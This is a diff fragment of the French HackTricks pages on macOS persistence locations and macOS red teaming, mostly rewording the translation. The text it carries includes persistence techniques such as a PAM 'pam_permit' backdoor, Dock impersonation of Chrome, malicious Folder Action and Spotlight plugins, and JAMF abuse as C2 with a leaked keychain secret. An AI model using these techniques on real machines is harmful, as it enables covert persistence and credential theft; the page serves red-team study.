[https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) * Mais vous devez être capable d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de Dossier -* Contournement de TCC: [🟠](https://emojipedia.org/large-orange-circle) -* Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements +* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle) +* Il possède quelques autorisations TCC de base comme Bureau, Documents et Téléchargements #### Emplacement * **`/Library/Scripts/Folder Action Scripts`** * Nécessite les droits d'administrateur -* **Déclencheur**: Accès au dossier spécifié +* **Déclencheur** : Accès au dossier spécifié * **`~/Library/Scripts/Folder Action Scripts`** -* **Déclencheur**: Accès au dossier spécifié +* **Déclencheur** : Accès au dossier spécifié #### Description & Exploitation Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal. -Pour configurer des Actions de Dossier, vous avez des options comme: +Pour configurer des Actions de Dossier, vous avez des options comme : 1. Créer un flux de travail d'Action de Dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service. 2. Attacher un script manuellement via la Configuration des Actions de Dossier dans le menu contextuel d'un dossier. 3. Utiliser OSAScript pour envoyer des messages d'événements Apple à l'application `System Events.app` pour configurer de manière programmatique une Action de Dossier. * Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance. -Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier: +Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier : ```applescript // source.js var app = Application.currentApplication(); @@ -816,13 +818,13 @@ Déplacez-le vers : mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` -Ensuite, ouvrez l'application `Folder Actions Setup`, sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas **`folder.scpt`** (dans mon cas, je l'ai appelé output2.scp) : +Ensuite, ouvrez l'application `Folder Actions Setup`, sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas **`folder.scpt`** (dans mon cas je l'ai appelé output2.scp) :
Maintenant, si vous ouvrez ce dossier avec **Finder**, votre script sera exécuté. -Cette configuration était stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64. +Cette configuration a été stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64. Maintenant, essayons de préparer cette persistance sans accès GUI : @@ -830,7 +832,7 @@ Maintenant, essayons de préparer cette persistance sans accès GUI : * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` 2. **Supprimez** les Folder Actions que vous venez de définir : -
+
Maintenant que nous avons un environnement vide @@ -870,7 +872,7 @@ killall Dock ``` {% endcode %} -En utilisant de l'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script : +En utilisant un peu d'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script : ```bash #!/bin/sh @@ -927,22 +929,22 @@ killall Dock Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) -* Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le bac à sable: [🟠](https://emojipedia.org/large-orange-circle) * Une action très spécifique doit se produire * Vous vous retrouverez dans un autre bac à sable -* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle) +* Contournement de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Emplacement * `/Library/ColorPickers` -* Nécessite des droits d'administrateur +* Nécessite des privilèges d'administrateur * Déclencheur : Utilisation du sélecteur de couleurs * `~/Library/ColorPickers` * Déclencheur : Utilisation du sélecteur de couleurs #### Description & Exploitation -**Compilez un bundle** de sélecteur de couleurs avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) et copiez le bundle dans `~/Library/ColorPickers`. +**Compilez un bundle** de sélecteur de couleurs avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) puis copiez le bundle dans `~/Library/ColorPickers`. Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également l'être. @@ -1000,13 +1002,13 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p * `~/Library/Screen Savers` * **Déclencheur** : Sélectionnez l'économiseur d'écran -
+
#### Description & Exploit Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **économiseur d'écran**. Ensuite, ajoutez-y votre code, par exemple le code suivant pour générer des journaux. -**Compilez** et copiez le paquet `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux : +**Compilez** et copiez le bundle `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux : {% code overflow="wrap" %} ```bash @@ -1023,7 +1025,7 @@ Timestamp (process)[PID] Notez que parce que à l'intérieur des autorisations du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) vous pouvez trouver **`com.apple.security.app-sandbox`** vous serez **à l'intérieur du bac à sable d'application commun**. {% endhint %} -Code du protecteur d'écran : +Code de l'économiseur: ```objectivec // // ScreenSaverExampleView.m @@ -1104,10 +1106,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit. * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. * `/Library/Spotlight/` * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. -* Nécessite des privilèges d'administrateur +* Nécessite les droits d'administrateur * `/System/Library/Spotlight/` * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. -* Nécessite des privilèges d'administrateur +* Nécessite les droits d'administrateur * `Some.app/Contents/Library/Spotlight/` * **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé. * Nouvelle application requise @@ -1117,7 +1119,7 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit. Spotlight est la fonction de recherche intégrée de macOS, conçue pour offrir aux utilisateurs un **accès rapide et complet aux données de leurs ordinateurs**.\ Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **base de données propriétaire** et crée un index en **analysant la plupart des fichiers**, permettant des recherches rapides à la fois dans les noms de fichiers et leur contenu. -Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'**. Ce processus orchestre l'ensemble du service Spotlight. En complément, il existe plusieurs démons 'mdworker' qui effectuent diverses tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins importateurs Spotlight, ou **bundles ".mdimporter"**, qui permettent à Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers. +Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'**. Ce processus orchestre l'ensemble du service Spotlight. En complément, il existe plusieurs démons 'mdworker' qui effectuent diverses tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins importateurs Spotlight, ou **"bundles .mdimporter"**, qui permettent à Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers. Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer de service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé. @@ -1130,7 +1132,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres): +Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres) : ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1167,14 +1169,14 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] ``` {% hint style="danger" %} -Si vous vérifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l'entrée **`UTTypeConformsTo`**. C'est parce que c'est un _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) intégré et il n'a pas besoin de spécifier les extensions. +Si vous vérifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l'entrée **`UTTypeConformsTo`**. C'est parce que c'est un _Identifiant de Type Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) intégré et il n'a pas besoin de spécifier les extensions. De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas indexés par les propres `mdimporters` d'Apple. {% endhint %} -Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour prendre en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé. +Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour qu'il prenne en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé. -Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`** +Enfin, **compilez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`** ### ~~Panneau de préférences~~ @@ -1201,7 +1203,7 @@ Il semble que cela ne fonctionne plus. ## Contournement du bac à sable root {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** en étant **root** et/ou en nécessitant d'autres **conditions étranges.** +Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet de simplement exécuter quelque chose en **l'écrivant dans un fichier** en étant **root** et/ou en nécessitant d'autres **conditions étranges.** {% endhint %} ### Périodique @@ -1223,7 +1225,7 @@ Explication : [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevi #### Description & Exploitation -Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **launch daemons** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges. +Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **daemons de lancement** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges. {% code overflow="wrap" %} ```bash @@ -1282,11 +1284,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit. #### Emplacement -* Toujours nécessite les droits root +* Toujours nécessite des privilèges root #### Description & Exploitation -Comme PAM est plus axé sur la **persistance** et les logiciels malveillants que sur l'exécution facile à l'intérieur de macOS, ce blog ne donnera pas d'explication détaillée, **lisez les writeups pour mieux comprendre cette technique**. +Comme PAM est plus axé sur la **persistance** et les logiciels malveillants que sur l'exécution facile dans macOS, ce blog ne donnera pas d'explication détaillée, **lisez les writeups pour mieux comprendre cette technique**. Vérifiez les modules PAM avec : ```bash @@ -1296,7 +1298,7 @@ Une technique de persistance/escalade de privilèges abusant de PAM est aussi si ```bash auth sufficient pam_permit.so ``` -Donc cela **ressemblera à** quelque chose comme ceci: +Donc cela **ressemblera à** quelque chose comme ceci : ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1387,7 +1389,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit. #### Emplacement * **`/private/etc/man.conf`** -* Nécessite les droits root +* Requis root * **`/private/etc/man.conf`**: Chaque fois que man est utilisé #### Description & Exploit @@ -1418,12 +1420,12 @@ touch /tmp/manconf #### Emplacement * **`/etc/apache2/httpd.conf`** -* Root requis -* Déclencheur: Lorsque Apache2 est démarré +* Nécessite des privilèges root +* Déclenchement : Lorsque Apache2 démarre #### Description & Exploit -Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne comme suit: +Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne comme suit : {% code overflow="wrap" %} ```bash @@ -1469,7 +1471,9 @@ Chaque fois qu'auditd détecte un avertissement, le script **`/etc/security/audi ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` -### Éléments de démarrage +Vous pourriez forcer un avertissement avec `sudo audit -n`. + +### Éléments de Démarrage {% hint style="danger" %} **Ceci est obsolète, donc rien ne devrait être trouvé dans ces répertoires.** @@ -1504,27 +1508,17 @@ Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont corre {% tab title="superservicename" %} -### Emplacements de démarrage automatique de macOS +### Emplacements de démarrage automatique macOS -#### Emplacements de démarrage automatique utilisateur +Les emplacements suivants sont des endroits où des services peuvent être configurés pour démarrer automatiquement sur macOS : -Les emplacements de démarrage automatique utilisateur sont les suivants : +- **LaunchAgents** : Ces services sont lancés au démarrage de session de l'utilisateur. +- **LaunchDaemons** : Ces services sont lancés au démarrage du système. +- **StartupItems** : Ancienne méthode de démarrage automatique, dépréciée à partir de macOS 10.5. -- **Dossier de connexion (`~/Library/LaunchAgents/`)** : Les agents de lancement spécifiques à un utilisateur sont stockés dans ce dossier. Ces agents sont lancés au démarrage de la session de l'utilisateur. +Il est important de surveiller et de gérer ces emplacements pour assurer la sécurité de votre système macOS. -- **Dossier de lancement (`/Library/LaunchAgents/`)** : Les agents de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur. - -- **Dossier de lancement de démon (`/Library/LaunchDaemons/`)** : Les démons de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système. - -#### Emplacements de démarrage automatique système - -Les emplacements de démarrage automatique système sont les suivants : - -- **Dossier de lancement (`/System/Library/LaunchAgents/`)** : Les agents de lancement système sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur. - -- **Dossier de lancement de démon (`/System/Library/LaunchDaemons/`)** : Les démons de lancement système sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système. - -Il est important de surveiller et de gérer les programmes et services qui se lancent automatiquement au démarrage de macOS pour des raisons de sécurité et de performances. +{% endtab %} ```bash #!/bin/sh . /etc/rc.common @@ -1549,7 +1543,7 @@ RunService "$1" ### ~~emond~~ {% hint style="danger" %} -Je ne peux pas trouver ce composant dans mon macOS, pour plus d'informations consultez le writeup +Je ne peux pas trouver ce composant dans mon macOS donc pour plus d'informations consultez le writeup {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) @@ -1572,7 +1566,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit. #### Description & Exploit -XQuartz n'est **plus installé dans macOS**, donc pour plus d'informations, consultez le writeup. +XQuartz n'est **plus installé dans macOS**, donc si vous voulez plus d'informations, consultez le writeup. ### ~~kext~~ @@ -1597,7 +1591,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -Pour plus d'informations sur les [**extensions de noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Pour plus d'informations sur [**les extensions de noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ @@ -1606,7 +1600,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit. #### Emplacement * **`/usr/local/bin/amstoold`** -* Nécessite les droits d'administrateur +* Nécessite les droits d'administration #### Description & Exploitation @@ -1621,7 +1615,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit. #### Emplacement * **`/Library/Preferences/Xsan/.xsanrc`** -* Nécessite les droits d'administrateur +* Nécessite les droits d'administration * **Déclencheur**: Lorsque le service est exécuté (rarement) #### Description & exploitation @@ -1734,14 +1728,14 @@ esac
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md index d1f24defd..a2a99fd3a 100644 --- a/macos-hardening/macos-red-teaming/README.md +++ b/macos-hardening/macos-red-teaming/README.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -21,7 +21,7 @@ Autres façons de soutenir HackTricks : Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines. -Pour le red teaming dans les environnements macOS, il est fortement recommandé de comprendre le fonctionnement des MDM : +Pour le red teaming dans les environnements macOS, il est fortement recommandé d'avoir une certaine compréhension du fonctionnement des MDM : {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) @@ -29,23 +29,23 @@ Pour le red teaming dans les environnements macOS, il est fortement recommandé ### Utilisation de MDM comme C2 -Un MDM aura l'autorisation d'installer, interroger ou supprimer des profils, installer des applications, créer des comptes administrateurs locaux, définir un mot de passe de firmware, changer la clé FileVault... +Un MDM aura l'autorisation d'installer, de consulter ou de supprimer des profils, d'installer des applications, de créer des comptes administrateurs locaux, de définir un mot de passe de firmware, de changer la clé FileVault... -Pour exécuter votre propre MDM, vous devez **faire signer votre CSR par un vendeur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm). +Pour exécuter votre propre MDM, vous avez besoin de **votre CSR signé par un vendeur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm). -Cependant, pour installer une application sur un appareil inscrit, vous devez toujours la faire signer par un compte développeur... cependant, lors de l'inscription au MDM, le **dispositif ajoute le certificat SSL du MDM en tant qu'AC de confiance**, vous pouvez donc maintenant signer n'importe quoi. +Cependant, pour installer une application sur un appareil inscrit, vous devez toujours la signer avec un compte développeur... cependant, lors de l'inscription au MDM, le **certificat SSL de l'appareil ajoute le MDM en tant qu'AC de confiance**, vous pouvez donc maintenant signer n'importe quoi. -Pour inscrire le dispositif dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé). +Pour inscrire l'appareil dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé). **L'agent Mythic Orthrus** utilise cette technique. ### Abus de JAMF PRO -JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'administrateur système), des **charges utiles natives** (création de compte local, définition du mot de passe EFI, surveillance de fichiers/processus...) et des **MDM** (configurations de dispositif, certificats de dispositif...). +JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'administrateur système), des **charges utiles natives** (création de compte local, définition du mot de passe EFI, surveillance de fichiers/processus...) et des **MDM** (configurations d'appareils, certificats d'appareils...). #### Auto-inscription JAMF -Allez sur une page comme `https://.jamfcloud.com/enroll/` pour voir si ils ont activé l'**auto-inscription**. S'ils l'ont, il pourrait **demander des identifiants pour accéder**. +Allez sur une page comme `https://.jamfcloud.com/enroll/` pour voir si **l'auto-inscription est activée**. S'ils l'ont, cela pourrait **demander des identifiants pour accéder**. Vous pourriez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque de pulvérisation de mots de passe. @@ -53,14 +53,14 @@ De plus, après avoir trouvé les bons identifiants, vous pourriez être en mesu ![](<../../.gitbook/assets/image (7) (1) (1).png>) -#### Authentification de dispositif JAMF +#### Authentification de l'appareil JAMF -
+
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** par tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\ De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`** -#### Prise de contrôle de dispositif JAMF +#### Prise de contrôle de l'appareil JAMF L'URL du **JSS** (Serveur de logiciels Jamf) que **`jamf`** utilisera est située dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ Ce fichier contient essentiellement l'URL : @@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist ``` {% endcode %} -Ainsi, un attaquant pourrait déposer un package malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 à partir d'un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2. +Ainsi, un attaquant pourrait déposer un package malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 depuis un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2. {% code overflow="wrap" %} ```bash @@ -98,15 +98,15 @@ Pour **impersonner la communication** entre un appareil et JMF, vous avez besoin * L'**UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * Le **trousseau JAMF** depuis : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil -Avec ces informations, **créez une machine virtuelle** avec l'**UUID matériel volé** et avec **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'**agent Jamf** et volez ses informations. +Avec ces informations, **créez une machine virtuelle** avec l **UUID matériel volé** et avec **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'**agent Jamf** et volez ses informations. #### Vol de secrets

a

-Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf car ils sont **placés ici, exécutés et supprimés**. Ces scripts **peuvent contenir des identifiants**. +Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf car ils sont **placés ici, exécutés et supprimés**. Ces scripts **peuvent contenir des informations d'identification**. -Cependant, les **identifiants** pourraient être transmis à ces scripts en tant que **paramètres**, donc vous devriez surveiller `ps aux | grep -i jamf` (même sans être root). +Cependant, les **informations d'identification** pourraient être transmises à ces scripts en tant que **paramètres**, donc vous devriez surveiller `ps aux | grep -i jamf` (même sans être root). Le script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus. @@ -118,7 +118,7 @@ Et aussi sur les **protocoles** **réseau** **"spéciaux"** de **MacOS** : [macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md) {% endcontent-ref %} -## Active Directory +## Annuaire actif Dans certains cas, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer d'**énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** sur les pages suivantes : @@ -142,7 +142,9 @@ dscl "/Active Directory/[Domain]/All Domains" ls / * [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS. * [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible. -* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript for Automation (JXA) pour l'énumération Active Directory. +* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript for Automation (JXA) pour l'énumération de l'Active Directory. + +### Informations sur le domaine ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` @@ -222,7 +224,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git 